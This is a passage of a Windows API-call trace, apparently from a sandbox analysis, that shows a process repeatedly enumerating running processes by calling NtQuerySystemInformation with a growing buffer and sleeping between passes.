	[0066.998] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x224c8) returned 0x28be678
	[0066.998] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.999] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x234ec) returned 0x28be678
	[0066.999] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0066.999] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x24510) returned 0x28be678
	[0066.999] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0067.000] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x25534) returned 0x28be678
	[0067.000] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x25534, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0x0
	[0067.000] Sleep (dwMilliseconds=0x64) 
	[0067.155] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28865a0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x28865a0, ResultLength=0x0) returned 0xc0000004
	[0067.158] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28865a0, Size=0x2048) returned 0x2896c08
	[0067.158] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2896c08, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x2896c08, ResultLength=0x0) returned 0xc0000004
	[0067.158] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2896c08, Size=0x306c) returned 0x28a1c10
	[0067.158] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0067.158] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x4090) returned 0x28a1c10
	[0067.158] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0067.159] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x50b4) returned 0x28a1c10
	[0067.159] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0067.159] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x60d8) returned 0x28a1c10
	[0067.159] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0067.159] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x70fc) returned 0x28a1c10
	[0067.159] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0067.159] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x8120) returned 0x28a1c10
	[0067.159] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0067.160] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x9144) returned 0x28a1c10
	[0067.160] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0067.160] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0xa168) returned 0x28a1c10
	[0067.160] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0067.160] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0xb18c) returned 0x28a1c10
	[0067.160] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0067.161] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0xc1b0) returned 0x28a1c10
	[0067.161] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0067.161] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0xd1d4) returned 0x28a1c10
	[0067.161] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0067.161] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0xe1f8) returned 0x28a1c10
	[0067.161] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0067.162] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0xf21c) returned 0x28a1c10
	[0067.162] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0067.162] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x10240) returned 0x28a1c10
	[0067.162] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0067.162] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x11264) returned 0x28a1c10
	[0067.162] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0067.163] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x12288) returned 0x28a1c10
	[0067.163] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0067.163] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x132ac) returned 0x28a1c10
	[0067.163] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0067.163] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x142d0) returned 0x28a1c10
	[0067.164] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0067.164] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x152f4) returned 0x28a1c10
	[0067.164] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0067.165] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x16318) returned 0x28a1c10
	[0067.165] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0067.165] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x1733c) returned 0x28a1c10
	[0067.165] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a1c10, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28a1c10, ResultLength=0x0) returned 0xc0000004
	[0067.166] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a1c10, Size=0x18360) returned 0x28be678
	[0067.166] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0067.166] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x19384) returned 0x28be678
	[0067.166] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0067.167] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x1a3a8) returned 0x28be678
	[0067.167] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0067.168] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x1b3cc) returned 0x28be678
	[0067.168] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0067.168] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x1c3f0) returned 0x28be678
	[0067.168] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0067.169] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x1d414) returned 0x28be678
	[0067.169] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0067.169] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x1e438) returned 0x28be678
	[0067.169] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0067.170] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x1f45c) returned 0x28be678
	[0067.170] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0067.170] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x20480) returned 0x28be678
	[0067.170] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0067.171] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x214a4) returned 0x28be678
	[0067.171] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0067.171] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x224c8) returned 0x28be678
	[0067.171] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0067.172] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x234ec) returned 0x28be678
	[0067.172] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0067.172] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x24510) returned 0x28be678
	[0067.172] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0xc0000004
	[0067.173] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28be678, Size=0x25534) returned 0x28be678
	[0067.173] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28be678, Length=0x25534, ResultLength=0x0 | out: SystemInformation=0x28be678, ResultLength=0x0) returned 0x0
	[0067.173] Sleep (dwMilliseconds=0x64) 
	[0067.286] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2884390, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x2884390, ResultLength=0x0) returned 0xc0000004
	[0067.287] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2884390, Size=0x2048) returned 0x28c2ab0
	[0067.288] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28c2ab0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28c2ab0, ResultLength=0x0) returned 0xc0000004
	[0067.288] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28c2ab0, Size=0x306c) returned 0x2894bd8
	[0067.289] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0067.289] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x4090) returned 0x2894bd8
	[0067.289] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0067.289] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x50b4) returned 0x28a62f0
	[0067.290] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.290] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x60d8) returned 0x28a62f0
	[0067.290] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.290] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x70fc) returned 0x28a62f0
	[0067.290] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.290] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x8120) returned 0x28a62f0
	[0067.290] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.291] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x9144) returned 0x28a62f0
	[0067.291] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.291] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xa168) returned 0x28a62f0
	[0067.291] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.292] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xb18c) returned 0x28a62f0
	[0067.292] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.292] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xc1b0) returned 0x28a62f0
	[0067.292] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.293] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xd1d4) returned 0x28a62f0
	[0067.293] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.293] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xe1f8) returned 0x28a62f0
	[0067.293] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.293] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xf21c) returned 0x28a62f0
	[0067.294] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.294] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x10240) returned 0x28a62f0
	[0067.294] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.294] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x11264) returned 0x28a62f0
	[0067.294] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.295] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x12288) returned 0x28a62f0
	[0067.295] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.295] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x132ac) returned 0x28de680
	[0067.296] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.296] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x142d0) returned 0x28de680
	[0067.296] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.297] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x152f4) returned 0x28de680
	[0067.297] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.297] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x16318) returned 0x28de680
	[0067.297] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.298] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1733c) returned 0x28de680
	[0067.298] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.298] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x18360) returned 0x28de680
	[0067.298] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.299] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x19384) returned 0x28de680
	[0067.299] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.299] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1a3a8) returned 0x28de680
	[0067.299] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.299] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1b3cc) returned 0x28de680
	[0067.300] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.300] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1c3f0) returned 0x28de680
	[0067.300] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.300] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1d414) returned 0x28de680
	[0067.300] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.301] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1e438) returned 0x28de680
	[0067.301] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.301] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1f45c) returned 0x28de680
	[0067.301] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.302] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x20480) returned 0x28de680
	[0067.302] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.302] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x214a4) returned 0x28de680
	[0067.302] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.303] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x224c8) returned 0x28de680
	[0067.303] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0067.303] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x234ec) returned 0x2900b50
	[0067.305] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2900b50, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x2900b50, ResultLength=0x0) returned 0xc0000004
	[0067.306] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2900b50, Size=0x24510) returned 0x2924048
	[0067.308] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2924048, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x2924048, ResultLength=0x0) returned 0x0
	[0067.311] Sleep (dwMilliseconds=0x64) 
	[0067.574] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28876a8, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x28876a8, ResultLength=0x0) returned 0xc0000004
	[0067.577] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28876a8, Size=0x2048) returned 0x28c08a8
	[0067.577] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28c08a8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28c08a8, ResultLength=0x0) returned 0xc0000004
	[0067.577] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28c08a8, Size=0x306c) returned 0x2894bd8
	[0067.578] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0067.578] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x4090) returned 0x2894bd8
	[0067.578] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0067.578] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x50b4) returned 0x28a62f0
	[0067.579] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.579] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x60d8) returned 0x28a62f0
	[0067.579] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.580] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x70fc) returned 0x28a62f0
	[0067.580] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.581] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x8120) returned 0x28a62f0
	[0067.581] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.581] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x9144) returned 0x28a62f0
	[0067.581] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.582] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xa168) returned 0x28a62f0
	[0067.582] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0067.582] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xb18c) returned 0x28a62f0
